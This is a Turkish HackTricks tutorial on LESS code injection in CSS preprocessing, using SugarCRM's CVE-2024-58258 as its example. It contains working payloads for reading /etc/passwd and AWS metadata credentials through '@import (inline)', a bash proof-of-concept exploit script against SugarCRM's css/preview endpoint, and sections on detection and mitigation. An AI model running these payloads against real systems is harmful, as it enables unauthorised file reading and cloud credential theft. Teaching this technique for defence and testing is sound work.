LESS Kod Enjeksiyonu ile SSRF ve Yerel Dosya Okuma
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Genel Bakış
LESS, değişkenler, mixin'ler, fonksiyonlar ve güçlü @import
direktifi ekleyen popüler bir CSS ön işleyicisidir. Derleme sırasında LESS motoru, @import
ifadelerinde referans verilen kaynakları alır ve (inline)
seçeneği kullanıldığında bunların içeriklerini sonuçta oluşan CSS'ye gömülü ("inline") olarak ekler.
Bir uygulama, kullanıcı kontrolündeki girişi daha sonra LESS derleyicisi tarafından işlenen bir dizeye eklediğinde, bir saldırgan rastgele LESS kodu enjekte edebilir. Saldırgan, @import (inline)
'i kötüye kullanarak sunucunun şunları almasını zorlayabilir:
file://
protokolü aracılığıyla yerel dosyalar (bilgi sızıntısı / Yerel Dosya Dahil Etme).- Dahili ağlar veya bulut meta veri hizmetlerindeki uzaktan kaynaklar (SSRF).
Bu teknik, SugarCRM ≤ 14.0.0 (/rest/v10/css/preview
uç noktası) gibi gerçek dünya ürünlerinde görülmüştür.
Sömürü
- LESS motoru tarafından işlenen bir stil sayfası dizesine doğrudan gömülü bir parametre belirleyin (örneğin, SugarCRM'deki
?lm=
). - Mevcut ifadeyi kapatın ve yeni direktifler enjekte edin. En yaygın temel ifadeler şunlardır:
;
– önceki bildirimi sonlandırır.}
– önceki bloğu kapatır (gerekirse).
- Rastgele kaynakları okumak için
@import (inline) '<URL>';
kullanın. - İsteğe bağlı olarak, derlenmiş CSS'den alınan içeriğin çıkarılmasını kolaylaştırmak için import'tan sonra bir işaretçi (
data:
URI) enjekte edin.
Yerel Dosya Okuma
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
/etc/passwd
dosyasının içeriği, @@END@@
işaretçisinden hemen önce HTTP yanıtında görünecektir.
SSRF – Bulut Metadata
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
Otomatik PoC (SugarCRM örneği)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Tespit
- Temizlenmemiş sorgu parametreleri içeren dinamik olarak oluşturulmuş
.less
veya.css
yanıtlarını arayın. - Kod incelemesi sırasında, LESS render fonksiyonlarına geçirilen
"@media all { .preview { ... ${userInput} ... } }"
gibi yapıları arayın. - Sömürü girişimleri genellikle
@import
,(inline)
,file://
,http://169.254.169.254
vb. içerir.
Önlemler
- Güvenilmeyen verileri LESS derleyicisine geçmeyin.
- Dinamik değerlere ihtiyaç varsa, bunları düzgün bir şekilde kaçırın/temizleyin (örneğin, sayısal token'larla sınırlayın, beyaz liste oluşturun).
- Mümkünse,
(inline)
import kullanımını devre dışı bırakın veya izin verilen protokollerihttps
ile sınırlayın. - Bağımlılıkları güncel tutun – SugarCRM bu sorunu 13.0.4 ve 14.0.1 sürümlerinde yamanmıştır.
Gerçek Dünya Vakaları
Ürün | Gü vulnerable Endpoint | Etki |
---|---|---|
SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | Kimlik doğrulaması yapılmamış SSRF & yerel dosya okuma |
Referanslar
- SugarCRM ≤ 14.0.0 (css/preview) LESS Kod Enjeksiyon Açığı
- SugarCRM Güvenlik Danışmanlığı SA-2024-059
- CVE-2024-58258
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.